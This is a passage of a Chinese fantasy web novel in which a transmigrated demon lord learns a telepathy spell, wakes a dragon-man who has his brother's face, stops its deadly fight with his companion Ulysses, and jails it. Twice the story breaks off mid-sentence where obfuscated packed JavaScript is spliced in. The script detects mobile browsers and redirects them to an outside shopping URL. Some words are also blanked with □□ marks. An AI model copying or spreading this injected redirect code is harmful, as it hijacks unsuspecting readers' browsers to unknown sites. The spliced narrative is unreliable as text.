“丰收魔法暂时不用想,还是先试试其他基础的魔法吧,然后嘛……”尤利西斯沉吟了会儿,目光转向悬浮在空中的球体,“这个水晶球里储存着非常多的术式,相当于一本魔法百科全书,你可以像我刚才那样触摸它,就能可以通过感知来直接学习。你来看看有没有感兴趣的魔法,然后试着释放几次。” 叶隐眼前一亮,他从刚才开始就馋这颗水晶球得很了,立刻高高举起一只手:“好!我来!” 他屁颠屁颠地上前两步,小心翼翼地将手搭在水晶球上,边抚摸边喃喃道:“好光滑……是真正的水晶吗?” 啊,不对,时机不对! 再说,这水晶球里的知识,难道不比一颗除了好看一无是处的水晶贵重多了?! 叶隐甩掉脑子里的胡思乱想,抖擞精神,深吸一口气,屏住呼吸,试着调动魔力与水晶球共鸣。 和冥想时候的感觉很像,但水晶球中的魔力肉眼可见的庞大,明明是他握住了水晶球,他自己在这球体面前,却好像站在山脚的登山者那般渺小。 外界的叶隐闭上了眼睛,一动不动,而意识空间中的叶隐,仰头望着那太阳般的光球,视角飘飘忽忽地逐渐飞入其中。 叶隐钻入光球之中,内部的景象不似从外部看去那样光芒万丈,反而是一片纯黑,但并非空无一物。 顺着一颗从眼前飞过的光点的指引,叶隐的视线放到了更远处——那一个个五颜六色的光团上。它们乍一看密密麻麻,仔细看去,实则围成了环形按着统一的方向移动。每一个环都大小不一、包含光团的数量不一,旋转方向有顺时针也有逆时针,旋转角度也各不相同,令它们如同一组组齿轮嵌合在一起……而所有组别的光团,都有一个毋庸置疑的中心,那便是——叶隐所处的位置。 在这片无边无际,仅有光团作为参照物的黑暗中,他就仿佛世界的中心一般。 “这是……” 叶隐被这幅如同漫天星空般的美景震惊到几乎失语,喃喃道:“这个地方……很像图书馆啊。” 按照尤利西斯的说法,这水晶球中蕴含着庞杂的魔法知识,的确算得上一座微缩图书馆了。以前的叶隐其实没有多么喜爱学习,但如今的他置身于这方世界中,仿佛能体会到那些终日泡在图书馆里的学霸的心情——魔法它不一样!它真的不一样! “嗯?” 正兴奋着,叶隐的注意力忽然被一个残缺的光团拉走,他思考了一秒,才反应过来那并非残缺,而是一个黑色的光团从它面前运行而过,将它挡了住,由于背景也是黑色,不仔细看甚至发现不了还有那样特别的光团存在,可一旦意识到这一点,便能立刻发现,那样的光团数量绝对不少。 “彩色和黑色的区别……会是人类魔法和魔物魔法的区别吗?” 怀着这样的疑惑,叶隐将视角拉近,抬手摸向离自己最近的黑色光团。触摸到的瞬间,星星点点的光芒从光团中升起,在上空投影出一张星图般的三维结构,魔力在其中流动,为读者指引着勾勒术式应有的顺序,旁边还有一团压缩起来的说明文字。 “这个就是‘术式’吗……难道要我背下来吗?!”叶隐嘴角抽搐,“这个世界的法师人人都能脑内建模?开什么玩笑?” 虽然脑中一瞬间闪过“这不是人能干的吧!”的念头,叶隐还是老老实实把说明摊开,仔细阅读起来。 “……联络魔法,施法难度低,效果是与一定范围内的指定目标建立临时心灵感应,范围越远、目标数量越多、目标抵抗心理越强,需要消耗的魔力就越多,魔法的成功率也越低……” “这个很好用啊!而且还说是低级难度咧,就这个了!” 叶隐对于呼叫卡拉瓦多斯的方法实在是深恶痛绝,要是他能掌握这个魔法,至少就不用再通过刺激对方心脏的方法呼唤它了,而且还能主动联系尤利西斯,让他给自己送点夜宵什么的,嘿嘿。 “按书上的说法,施法时不仅要在脑中想象术式的结构,而且要控制魔力勾勒出相应的形状。不需要每一个细节都无比精确,但不同类型魔力的占比、术式的结构比例、核心部分的形状,这些不能错……” 真正开始实践之后,叶隐发现事情并没有他想象中困难。人的想象本就会模糊许多细节,想要像电脑那样精确到毫厘的建模是不可能的,但粗中带细的想象对施法而言已经足够,因为魔力本身其实也并非能够如臂指使的东西。 在叶隐体内,他本身作为魔王生产的魔力,和与他建立了联系的元素生产的魔力,二者不说彼此融合,却也不是泾渭分明的。叶隐能大概控制魔力流动的方向,但更细微的部分由魔力本身决定,强硬地命令它们是很困难的,反倒是柔和的沟通能够起效,这在魔力从元素的灵魂中孕育出来的时候便已经开始受影响了。 总的来说,叶隐不需要亲自完成整个流程,只要把大概的指令下发下去,结果就能八九不离十……也不知道具体是什么原理。 勾勒完术式的最后一笔,叶隐清晰地感觉到整个术式中的魔力正在循环式的运转中产生质变,很显然,他成功了。 【第一次释放魔物魔法,时髦值+3。】 9. 沉睡之龙 “很好!接下来——” 如说明书所言,联络魔法自带的心灵感应部分已经开始发挥作用,这是魔法的第一阶段。当然,这个阶段本就可以被剥离出来,作为单纯的侦查魔法独立运作,此事在说明书中亦有记载。 叶隐的意识空间被分成了两部分,一部分还在图书馆中,另一部分回到了现实中,并以一个第三人称的三维视角,将附近能够与他心灵感应的生物都标注了出来,叶隐能感知到他们与自己的相对距离和大致的方向,至于他们是否会排斥与自己的心灵感应,则要进一步建立联系才能知晓,现阶段的感应仅仅是单向的。 “最近的人肯定是尤利西斯……呃,他是不是比刚才站得还要近?都快贴到我身上了……算了,先不管他。” “稍微远一些的这个正在移动,走走停停,应该是正在打扫的卡拉瓦多斯……给我的感觉怎么有些讨厌……” 卡拉瓦多斯的心灵给叶隐的感觉相当混乱,和纯粹干净的尤利西斯截然不同,让他本能地感到排斥。也许这也是魔物天然的特征之一?毕竟它们的灵魂和肉身本就是由许多碎片拼凑而来的,精神四分五裂也是理所应当。 ……这么看来,魔物喜欢制造混乱,并不是因为它们真的喜欢混乱,而是它们各部分精神彼此拉扯,对“秩序”根本没有统一的认知的缘故? 叶隐走神了一瞬间,好在他及时回过神来,维持住了法术的稳定,不然他就得重新施法了。 叶隐有控制输入术式的魔力量,范围仅限于魔王城中,他本以为这个范围中只有尤利西斯和卡拉瓦多斯,但令他惊讶的是,离他有一段距离的某个方向上,居然还有第三个心灵反应!这城里竟然还有别人? 难道是城外的魔物潜伏进来了?但那个反应一直没有移动啊,这不合常理,而且它所处的位置很奇怪,这个高度,像是在地下一样…… 叶隐略一犹豫,本着来都来了的想法,准备与那个身份不明的家伙建立心灵感应试试。 如果对方顺利接纳了他,那多半只是他尚不知晓存在的盟友,虚惊一场,还能顺便聊聊;而如果他被单方面排斥,那极有可能是未被发现的敌人,非常危险。好在尤利西斯就在边上,他无须多余担心,直接将那人的存在告知尤利西斯、交给对方解决就好了,嗯。 尤利西斯应该不会坐视不管…吧? 如此盘算着,叶隐试探性地向那个位于地下的目标伸出了意识的触手。 靠近,再靠近。 那个人的精神意外的纯粹,虽然和尤利西斯有些不同,但和卡拉瓦多斯的差距更是大。难道说他并非魔物吗?那么就是尤利西斯的人类同伴?他明明说过自己是孤身一人来着…… 叶隐思考着,触手轻轻缠上目标,到这一步,心灵感应应该已经建立了,可叶隐没有感觉到任何排斥,甚至没有从对方的心灵中感觉到任何波动。一个人但凡醒着,脑子里便不可能什么都不想,哪怕睡着了,浅层意识也是起起伏伏的,不可能毫无波澜,莫非对方正处于深度睡眠中吗? “喂?你醒着吗?”叶隐试着与对方沟通,“我没有恶意,我正在用心灵感应和你交流,你不要害怕。” 他的心声如一颗石子,投入那片平静的湖水中,溅起数圈涟漪。 ……还是没反应。 叶隐正反省着,是对方真的没有做出反应,还是自己的魔法出了问题,但就在他准备结束魔法的时候,那片深不见底的心灵之湖竟猛然爆裂! “哇啊!” 叶隐被一股巨力切断了心灵感应,本能的危机感令他的意识立刻回归到现实空间中,他一把推开水晶球,蹬蹬后退了两步,惊魂未定地看着扶住他的尤利西斯,大口喘气。 尤利西斯意识到情况有变,沉声问道:“我感觉到你的魔力被消耗了,你施展了什么魔法?” “呼、呼……”叶隐边顺气边道:“是…通过心灵感应…联络的魔法……我发现城里还有第四个人,想确认一下……” 被弹出意识空间后,他的判断逐渐向“对方是敌人”那边倾斜,但尤利西斯的反应很蹊跷——他在叶隐的话音落下前便面色一变,好像知道那“第四个人”的真实身份似的。 “你认得那个人?”叶隐问道。 “他——” 轰! 尤利西斯刚刚开口,两人脚下地面的深处便传来一声巨响,虽然魔法塔本身被牢牢稳定在固有的锚点上,没有明显的震动,但爆炸的响声还是传入了叶隐和尤利西斯的耳朵,让他们同时一惊。 “绝对是地下那个家伙,他在干什么啊!” 不知道事情是怎么发展成这样的,此时的叶隐有点惊惶,还有点心虚:“怎么了?是我私自和他心灵交流,把他惹火了吗?他到底是什么人?” “……事实和你想的大概不一样。” 短暂惊愕过后,尤利西斯恢复了平日里镇静的模样,只是,他的行为似乎并非如此。 叶隐眼睁睁看着他走向墙边,取下墙上那把饱经风霜的长剑,冰冷的眼中杀意涌动,而地下还在接连不断传来轰鸣声,并且离他们越来越近,越来越响。 尤利西斯提着剑走到圆形的场地中央,将悬浮着的水晶球拨到一边,顺手借水晶球的力量将大门敞开,头也不回地冷声道:“上楼去,他是冲你来的,我来解决。” 叶隐脑子里满是疑惑,但尤利西斯的劝告不能不听,他拔腿就跑,沿着螺旋楼梯快速上了二楼,躲在楼梯边偷偷观察一楼的情况。 就在他趴好没多久后,地下那股持续不断的轰鸣声终于来到了极近处——叶隐紧张地咽了咽口水,在心里给尤利西斯加油打气,最好能一剑把敌人砍得稀巴烂! 爆炸的烟霾漫入大门洞开的塔中,来人踏着沉重的脚步声接近,一条体表长满棘刺、形似鸟爪的巨足破开烟尘,随后出现在叶隐视野中的,是一条绕着“8”字挥动、将周身灰尘打散的长尾。 是龙……不,双足直立行走的龙人?! 叶隐看得目瞪口呆,亲眼见到这种幻想生物存在,他心中的惊讶和兴奋难以言喻,然而,这一切都比不过他在看到对方面孔的瞬间的晴天霹雳。 沙沙…… 烟尘在龙尾的抽打下迅速散去,来人终于现出真容,他浑身上下除了双足直立以外都以龙类特征居多,唯独面孔上仅仅生长了一圈防护脖颈的龙鳞,让他光看脸似乎和人类没太大区别。他的五官,与叶隐极为相似,而在叶隐本人看来,则与另一个人极为相似,那就是—— 阿澜?! 死死盯着那张绝对不会看错的面容,叶隐如遭雷击。 如果不是拼尽全力维持着冷静和理性,他险些惊叫出声,这个阴森恐怖的龙人分明长了一张和他的亲弟弟叶澜一模一样的面孔!但是世间怎么可能有这么巧的事?! 龙人那双瞳孔细长的双眼死死盯着站在场中央的尤利西斯,中间那枚脚爪不耐地敲着地面,发出“砰砰砰”的声音。 “哥哥就在这里,我感觉到了……” 它张开嘴喃喃道,喉咙里发出来的声音竟也与叶澜别无二致,只是叶隐从未听过自己的弟弟用如此冰冷而有威吓力的语气说话——他阳光、温柔又懂礼貌,对任何人都不会是那样。 他不是阿澜!不可能是! 尤利西斯面无表情地回道:“你的感觉有问题。” 龙人的瞳孔微缩了一下,神情骤然一变,低语时的温情荡然无存。它恶狠狠地瞪视着不动如山的尤利西斯,怒吼道:“滚开,渣滓!让哥哥出来见我!” “都说了,你感觉错了。” 尤利西斯的神情愈发冰寒,他拉开战斗架势,气势毫不遮掩地放出,冷冷道:“你要打架,我奉陪,不过这次不会像上次那样简单地收场了,这次我会…杀了你。” “混蛋!” 尤利西斯的装傻和傲慢毋庸置疑地激怒了龙人,它喉咙里发出一声磨砂似的咆哮,扬起双爪,不甘示弱道:“同样的话还给你!但要死的人是你!!” “……” 虽然心里已经笃定这小龙人并非弟弟叶澜,但听到对方嘴里说出“哥哥”这个词,叶隐心里还是说不出的难受。见两人一言不合就要死斗,叶隐的心都提到了嗓子眼,恨不得立刻下去把他们分开,但想到尤利西斯方才的劝告,又有些迟疑。 这两个人明显认识,且有着极强的矛盾冲突,非三言两语可以解决,即使他因为龙人那张脸而生出恻隐之心,对方又真的停战交流吗?如若不然,自己拉偏架的行为岂不是害了尤利西斯?无论哪种情况,他都不能接受。 叶隐心念电转间,楼下二人已然开战,且战场气氛瞬间便攀升至了白热化的临界点。 龙人的攻势极为狂猛,其关节能以非人的方式扭曲,一招一式难以预判,其肌肉的爆发力以及龙鳞与韧皮带来的防御性能,让它□□机能上远胜于任何人类,也包括尤利西斯,爪风在数十米外都能轻易切断人类的躯干,更别提零距离下了;尤利西斯在硬件上稍有劣势,但艺高人胆大,却是浑然不惧,手中长剑舞出残影,竟比龙人的攻势还要迅猛几分,那双爪子尚未摸到尤利西斯,剑刃却在已经在龙人的赤色鳞皮上拉出好几道皮开肉绽的伤口。 见了血之后,双方的一招一式都愈发狠厉,尤利西斯也很快受伤,但攻势丝毫不减,反而愈演愈烈。即使一击不成,他们拼着自己受伤,也非得让对方受伤不可,无论皮糙肉厚的龙人还是尤利西斯都是如此,看来他们战前放出的狠话绝不只是说说而已,双方都是认真地想要杀死对方。 几个回合下来,二人浑身上下无不鲜血淋漓,眼中杀意锋芒毕露,四周那在火球爆炸中毫发无伤的防护魔法也被波及,重新浮现出来,光芒黯淡,显然是因为魔力恢复的速度跟不上消耗,眼看就要被击破……局势愈发不可收拾。 可恶!该怎么办?怎么能让他们停下来?!叶隐焦虑地咬着拇指指甲,大脑飞速转动。 说不害怕是假的,无论龙人还是尤利西斯,表现出来的战斗力都远超他的认知,若不是魔王之血强化了他的视力,也许他压根看不清双方的动作,若非要不听劝告介入其中,余波就足够将他秒杀了,他在那种级别的战斗中毫无自保能力。 可是,他也绝对不希望这两人莫名其妙地就必须有一个死去,即使他还完全不知道这两人的关系。 冷静!胜负尚未分出,现在还来得及做些什么,不能慌! 叶隐深呼吸,强迫自己冷静下来,他尽力无视场中四溅的鲜血,观察着战局——逐渐地,他注意到胜利正朝着尤利西斯那边倾斜,龙人虽然体格非人,战斗技巧却显而易见地落后,只是在以伤换伤的打法下,才能够在短时间内与尤利西斯分庭抗礼,待二人都彻底进入节奏后,它的颓势便相当明显了。 叶隐的思路逐渐清晰——既然不能打断战斗,那么就让战斗以最快的速度结束!只要其中一方失去战斗能力,战斗就会中止,他只要在胜者下杀手前拦住对方就行了! 赢的人会是尤利西斯,那么…… 在叶隐决定了接下来的行动之后,系统的提示音才姗姗来迟: 【叮~新任务发布:这一言不合就开打的两个废物,完全没有自己的生命和死亡都属于您的自觉!今天必须让他们知道,这魔王城是谁做主!】 【任务要求:阻止他们杀死彼此。成功奖励:时髦值+5、觉醒度+5,失败惩罚:时髦值归零。】 “……”又泥马加觉醒度!滚啊! 叶隐气极,如果摸得到系统,他真想摁着这玩意打一顿,让它知道花儿为什么那样红! 他甩甩脑袋,赶紧接上被系统打断的思绪——他刚刚左思右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶隐一冒头,小龙人就“唰”地抬头盯住他,那双猫眼似的龙瞳看得叶隐心底发寒,眼中隐约还带着其他意味,他来不及分辨对方的眼神,硬着头皮一溜烟下楼,忙不迭地躲到尤利西斯身后,拉了拉对方的衣角,小声道:“这样就行了,别杀他。” “哥哥!”龙人声音沙哑,咬牙切齿,“为什么站在那个人类那边!为什么帮他而不是我?!” 叶隐摇了摇头,用一种他自己都没有意识到的、怜悯的眼神看着对方,“我不是你哥哥,你认错人了。” “……”龙人死死盯着叶隐,似乎察觉到了异常,但又不愿意相信,仅剩的左手慢慢从已经止血的右臂断面上挪开,手爪紧握。 叶隐察觉到了它的倔强,不禁深深叹了口气,抬手肘了尤利西斯一下,不满地低声道:“别愣着了!解释一下,他是谁?为什么会把我认成他哥?” 尤利西斯的站姿依然笔直,却被肘的一个踉跄,险些破功,暴露了他也受伤不轻的事实。 他动作微微一顿,重新站直身体,捋了捋散乱的长发,回道:“他是……前魔王希恩的弟弟,希冯。”他别过头去,淡淡道:“希恩和你长得一模一样,而且你身上有魔王之血的气息,他会认错并不奇怪。” 叶隐愣了一愣,“和我长得一样?” 和弟弟叶澜长相一致的希冯,和他自己长相一致的前魔王希恩,后两者和前两者一样是亲兄弟……简直就像“异世界同位体”一样。 叶隐有些惊讶,但更多的还是松了口气,只要龙人并非叶澜本人就好。叶隐自己已经回不去了,如果弟弟也穿越过来,他真不敢想像失去一双儿子的父亲会有多痛苦、接下来的日子又该怎么过。 “你在说什么呢混蛋!!”希冯怒视着尤利西斯,愤怒吼道:“什么叫‘前魔王’?是你把哥哥的记忆封印了吗?!” 尤利西斯俯视着他,眼中没有丝毫情绪,声音冰冷:“你还在自欺欺人吗?这个人是完全的另一个人,是新的魔王,你哥哥早就死了。” “喂!” 被叫作“这个人”和“另一个人”的叶隐扶了扶额,他有时候真想把尤利西斯这张嘴缝上。 有话不能好好说吗?非要在这个节骨眼上刺激对方!这家伙不会还没放弃杀掉对方的打算,就等着对方主动出手然后反杀呢吧? 出乎叶隐预料的是,龙人并未被这番话激怒,甚至没有表现出惊讶,它只是眯了眯眼,眼珠飞快地转动了一圈,一口锐利的龙齿随着微笑露出。 随后,它将视线完全转移到了叶隐身上,以温柔的语气对后者道:“这混蛋有很多事没有告诉你吧,哥哥?到我这里来,我会把我知道的所有事都告诉你,绝不会有丝毫保留。” 叶隐猛地一个激灵,吞咽了下口水,从龙人那翻脸比翻书还快的态度中察觉到一丝非人的邪性。 这家伙真的没有因为尤利西斯的话而生气吗?绝对不是。它只是把可能吓到叶隐的情绪藏了起来,试图用更加温和的手段将叶隐争取过去而已。 ——虽然知道那样的事实,叶隐却无法对它的示好视若罔闻,也许他有点太想弟弟了,以至于龙人浑身上下的非人之处和伤势都掩盖不住对方那张和叶澜一模一样的面孔。 “别听它的,不要和它搭话!” 尤利西斯侧过头凝视叶隐,他的声音难得的不耐烦,还有些急躁。如果不是叶隐拉着他,他恐怕要直接上前去把龙人打晕带走,当然,这确实不失为一种解决问题的方法,只是叶隐不想做得太粗暴——即使不考虑小龙人那张脸,以系统的意思,它至少也是一名可用的手下。 叶隐拉着尤利西斯鲜血横流的手臂,神情复杂地注视着一脸期待的龙人,叹息道:“我的确有话想问你,也有话想要听你说,但是……你不是我弟弟,我也不是你哥哥。 “我还不能信任你,所以,你还是先冷静一下吧。” 10. 尤利西斯·其二 空气短暂安静了一会儿,没有人说话。 光从表情上,很难看出尤利西斯和龙人的态度变化,但这种东西不用感觉也能知道。 最终还是叶隐打破了死寂。 他问尤利西斯:“他之前待在地下的哪里?” “一处为了魔物休眠而专门制造的石棺中。” 尤利西斯回答的语气依然冷淡,但叶隐没来由地觉得他比刚才要放松,相对的,与他们相向而立的龙人则眯起了眼,浑身肌肉紧绷。 “……不过,原来那个被他强行破封而出之后,肯定已经损坏了。听动静就知道他刚才大搞了一通破坏,不知道还有没有能用的剩下。” 石棺……听上去就很逼仄,叶隐在心中排除了这个选择。 他只是想找个地方暂时把龙人控制起来,还想问话呢,自然不能逼迫对方休眠,所以石棺什么的肯定不行,那是能住人的地方吗? 其他选择的话……魔王城里应该有监狱之类的地方吧? “普通的监狱可关不住它。”尤利西斯冷冷道,“它凭肉身就能把这整座城拆了,所以它才会被封印在石棺里面。” 叶隐尴尬地刮了刮脸颊,“我念叨出声了吗?” “我不可能回去石棺里,我不想再被哥哥丢下了。”龙人平静道,“但是,哥哥想的话,我愿意待在监狱里,只要你能来看我。” 叶隐:“……”有点负罪感。 不过,既然话都说到这个份上了…… “那就先带他去监狱吧。”叶隐说着,瞥了眼地上那条还在抽动的龙人手臂,“……这个还能接上吗?” 小龙人抢在尤利西斯开口前说道:“哥哥不用担心,这种程度的损伤完全可以自愈。” 自愈,是可以再长一条手臂出来的意思吗?总感觉有点恶心…… “好吧,那先不管这个了。”叶隐疲惫地叹了口气,“走吧,尤利西斯,你——”他本想说“你扛着他”,但一看尤利西斯那副前所未见的惨相,又有些不忍逼迫对方出力,而他自己也不敢把脑袋置于龙人爪下,便改口道:“你带路,我们跟上。” 尤利西斯的眼神中流露出对叶隐决定的不满,大抵是拿不出更好的方案的缘故,他没有多说什么,但也没有单纯地带路,而是把龙人押在身前,走在对方和叶隐的中间,将他们分隔开来,就这样离开了魔法塔,向着城堡地下的入口走去。 龙人刚清醒时约莫是处于暴怒状态,在赶来此地的途中疯狂向周围发泄愤怒,以至于沿途无数建筑都遭到了龙卷风般的摧残,看得叶隐在心疼的同时,对于负责处理这块事宜的卡拉瓦多斯愈发怜惜和钦佩——魔王的管家,这活真不是人能干的! 虽然前几天有跟着卡拉瓦多斯或尤利西斯游览魔王城,但城堡地下似乎是个禁忌,卡拉瓦多斯甚至不会去地下部分打扫,所以才积了那么厚的灰尘。总之,叶隐从地下室出来后便没有再回去过,也就无从知晓地下部分还有哪些功能性建筑。 监狱在地下的极深处,且这里同样有被龙人肆虐过的痕迹,或许能说明龙人沉睡的石棺还位于更深处,不过那与叶隐暂时没关系。 叶隐找了间比较完整的囚室,让尤利西斯放开龙人,后者自觉地走了进去,盘腿坐下,隔着栅栏盯视囚室外的叶隐,分外安静。 尤利西斯讽刺道:“它用舌头都能掰弯这里的栅栏。” 这应该是实话,但叶隐总觉得尤利西斯最近几句话都夹枪带棒的,看来他们两个是真的极其厌恶彼此,甚至尤利西斯这样高冷的人都忍不住出言嘲讽,不过这也不是叶隐第一次对他滤镜破碎了,久而久之甚至有点习惯。 “尤利西斯,你先别说话。”叶隐揉了揉额角,转向一脸无辜的小龙人,道:“你就先待在这里,不会太久的,我了解完情况后就会来找你,然后决定下一步如何处置。” 龙人笑眯眯地看着他,忽然问道:“那个啊,你、真的是魔王吗?” 叶隐狐疑地看着龙人,这会儿又不叫他哥哥了? 他不明白它是怎么做到在如此短的时间里态度反复翻转的,它究竟想通了自己不是它哥哥没有? 按理来说,在尤利西斯说出事实的时候,它应该已经明白了,可后来却仍亲切地叫他“哥哥”,且一路走来都表现出一副顺从的样子,现在又突然从那种依恋中剥离出来,光明正大地试探他的权威……只是为了降低他的警惕心的话,有必要做到这种程度吗?还是说,它其实精神上有点问题? “从原理、从基础,从这样那样的角度来说……大概就是那样吧。”叶隐有气无力道。 以现在的情况来看,他被召唤到这个世界,又变成魔王的过程,兴许比想象中还要复杂许多,不外乎系统早早地向他发布了了解前因后果的任务。此前他还不急着寻找蛛丝马迹,只管提升自己的实力和刷尤利西斯的好感度,但现在为了解决龙人的问题,这件事必须提上日程了。 龙人用仅剩的左手抓住栏杆,将小半张脸探出囚室,瞪着一双令人惊悚的龙瞳,低声道:“如果你真是魔王,应该一个念头就能决定我的生死,而不是只能‘命令’我待在这里,‘祈祷’我不会偷偷溜走。” 叶隐斜眼看着小龙人,心道这是在嘲讽他实力不济,只能依赖尤利西斯,又控制不住下属吗? 嘛,事实归事实,但这个说法真让人不爽啊,尤其那两个重音词,完全把嘲讽写在脸上了……它就不能像刚才那样稍微装一装吗? “如果可以,我不想用暴力控制你。”叶隐语气淡淡,“我这人其实还挺好说话的,只要你配合我,你想要什么都可以提。现在正是用人之时,我不想失去任何一个属下。” 说不担心对方出逃是不可能的,但城里本就只有三个人,有能力压制龙人的更是只有尤利西斯,偏偏尤利西斯也是最忙碌的那个人,这就让看管龙人成了几乎不可能的事,除了看他自己的自觉,叶隐还真没什么好办法。 “就算你现在反悔,想将我封印回石棺里,也是不可能的。”龙人冷冷道,“因为能强行将我封印的人,就只有魔王而已。” 叶隐又深深叹了口气——他已经数不清这是他今天第几次叹气了。 “……魔王魔王的,烦不烦啊。”他脸上挂着看似平和的假笑,“要不是我拦着尤利西斯,你早就归西了,就算不指望你感恩戴德,至少也看看自己的处境吧?惹火我们对你完全没有好处不是吗?还是说,你就那么想被杀掉?” 龙人不再出声,沉默地坐回原地,静静看着叶隐,面带冷笑。 尤利西斯忽然道:“我可以砍断他的——” 他话没说完,就被叶隐扼住了命运的咽喉,后半句话噎在了喉咙里。 叶隐松开尤利西斯,头也不回地向外走去,“就这样吧,我们走。” 走出监狱大门的瞬间,他收到了系统的提示。 【叮~当前任务完成!获得奖励:时髦值+5、觉醒度+5。】 提示音响起后,叶隐瞥了眼面板。 【觉醒度:15/100】 【时髦值:16/100】 觉醒度一口气又涨了原有的三分之一,已经逼近整体的五分之一了……但也是没办法的事,只能忍了。 说起来,任务的要求是“阻止他们杀死彼此”,这在叶隐看来还挺微妙的,毕竟这两人的关系可并未改善,日后恐怕还有的是争吵的机会,万一他们停战过后不久又争了个一死一活,那他算不算白嫖了任务奖励?还是说,只有系统认为他们不再具备相杀的条件时,任务才会被完成? ——从这个提示响起的时机来看,叶隐偏向于后者多一些,以此反过来倒推的话,或许可以说明,那小龙人确实没打算溜出来报复他们?叶隐乐观地想着。 离开地下后,叶隐自顾自地往卧室走,而尤利西斯也不说什么,只一味跟在后面,似乎有些出神。 叶隐的房间离龙人的行进路线有段距离,并未被波及。他来到门口时,意外发现卡拉瓦多斯正站在门前,便抬手招呼道:“你没有受伤吧?” 卡拉瓦多斯缓缓转过身来,恭敬道:“感谢关心,吾很好。” 叶隐点头,“那就好。” 有尤利西斯和小龙人作为对比,叶隐真是越来越喜欢卡拉瓦多斯了,无论是并存的理性与感性,还是那副文绉绉的腔调,都比另外两个家伙更加人性充沛,何况它还是唯一愿意尊重叶隐的魔王权威的存在,这管家就该它来当口牙! “你在这里站着,是在等我?”叶隐问道。 卡拉瓦多斯那白蒙蒙一片的单只眼珠动了动,瞥了眼叶隐身后的尤利西斯,随后转向叶隐,道:“吾对前魔王希恩稍有了解,或许能补足尤利西斯大人不甚知详的部分,请允许吾参与到你们的谈话中。” 叶隐不知道不在场的它是如何抓住问题的重点的,他扭头看了看尤利西斯的表情,见对方毫无表示,便代替他同意下来:“可以,进来聊吧。” 待三人都进了屋,叶隐反手关上门,在尤利西斯跟前挥了挥手,待对方回过神来,道:“别愣着了,先处理一下你的伤口。” 尤利西斯回过神来,摇头,“都是小伤。” “这种时候反倒不肯用神术了?” 尤利西斯平静道:“疼痛使人清醒。” “?” 叶隐真是搞不明白这个人脑子里都在想些什么。 “好吧,随你。”他撇了撇嘴,轻推了尤利西斯一把,催促道:“但你不能满身是血地坐我沙发上,去洗干净!我从衣柜里给你找几件衣服。” “!” 尤利西斯一惊,略显迟疑道:“可那些衣服我穿不下……” “去洗你的!”叶隐瞪着眼睛打断了对方的抱怨。 把尤利西斯推进洗手间后,叶隐转身看向站在客厅里的卡拉瓦多斯,讪讪一笑:“那什么,你先坐着歇息吧,之后还有的忙呢。” 花了几分钟时间,叶隐从衣柜里挑了几件最大的衣服和应该没穿过的内衣,又翻了几卷绷带出来放在一起,随后回到沙发上坐下。 他对上卡拉瓦多斯平静的眼神,想了想,出声问道:“那个搞破坏的龙人……好像是叫希冯来的,他和前魔王希恩是亲兄弟?” “是的。”卡拉瓦多斯回道,“在希恩还不是魔王的时候,他们只是一对普通的人类兄弟。” “但他现在已经不是人类了吧?” 卡拉瓦多斯解释道:“魔王希恩赐予了他微量的魔王之血,将他转化成了一种名为‘大魔’的特殊魔物。” “大魔……?” 卡拉瓦多斯接着道:“大魔不受灵魂分裂、血肉排斥等问题困扰,寿命近乎无限,且力量凌驾万人之上,可谓完美的魔物。况且,魔王对它们体内的魔王之血有绝对控制权,剥夺它们的力量甚至是生命,都只在一念之间。大魔绝无可能背叛魔王,因此天然就是魔王的得力干将。” “原来如此。” 尤利西斯的战斗力在人类中、至少是“人类战士”这个群体中,应该是首屈一指的,而那龙人能和他打个四六开,说“万人之上”毫不夸张。 光论外形,龙人的模样在叶隐的审美中完全可以用帅气来形容,如果不是对方对他有意见,他真的很想摸摸那身鲜红色的鳞皮,尤其是那条强而有力的龙尾……咳。 总之,从外观统一度上来说,龙人比仿佛血□□合怪一般的卡拉瓦多斯明显高了不止一个档次,如果卡拉瓦多斯不说它是魔物,叶隐甚至会以为这个世界上还存在亚人之类的东西,或者干脆是某条红龙的人形化身。 而在□□与灵魂紧密联系的世界观下,外观的统一,也就意味着灵魂的统一,这也能印证卡拉瓦多斯对于龙人来源的说法。普通魔物无一不是血肉菌毯的产物,诞生方式决定了它们的□□和灵魂都天然不统一,对照之下,仿佛天然生物一般的龙人,必然有着与寻常魔物截然不同的出身——不过,龙人的力量来自于魔王之血这一点,还是令叶隐惊讶。 “魔王之血是可以给出去的吗?”叶隐诧异问道,眼中闪着光,“而且,竟然有把人类转化为魔物的作用……” 几秒钟里,他脑中就闪过了许多想法,比如把魔王之血渡让出去,自己跑路,比如想办法把人类中的强者和高层都转化为魔物,以此相要挟,甚至把全世界人类都转化成魔物……好吧,最后这个有点过分。 “分割魔王之血的行为,会削弱魔王自身的力量。”卡拉瓦多斯提醒道,“大魔不会随着魔王的换代而死去,且历代魔王都会制造属于自己的、真正可以信任的大魔,即使如此,大魔的总数也从未突破过十二个,这是有原因的。” 叶隐干笑一声:“想来也是,不然我只要把我的血包装成保健品卖到人间界,就可以不费一兵一卒控制无数人类、得到无数强力下属了。” 顿了顿,他忽然想起什么,“等等,既然大魔的力量和生命都归魔王控制,希冯那家伙为什么还敢忤逆我?” 卡拉瓦多斯委婉地说道:“因为现在的您还无法自主利用魔王之血中的力量,如若不然,您理应能够直接感应到他体内的魔王之血,并加以控制,无需另外学习。” 叶隐哽咽,总之还是觉醒度不够高的问题呗。 觉醒度高了,大概率失去人格,尤利西斯的计划破灭,人类帝国危在旦夕;觉醒度低了,力量没有,魔法不会,属下也不忠诚,谁都能来踩他一脚,这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092000|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 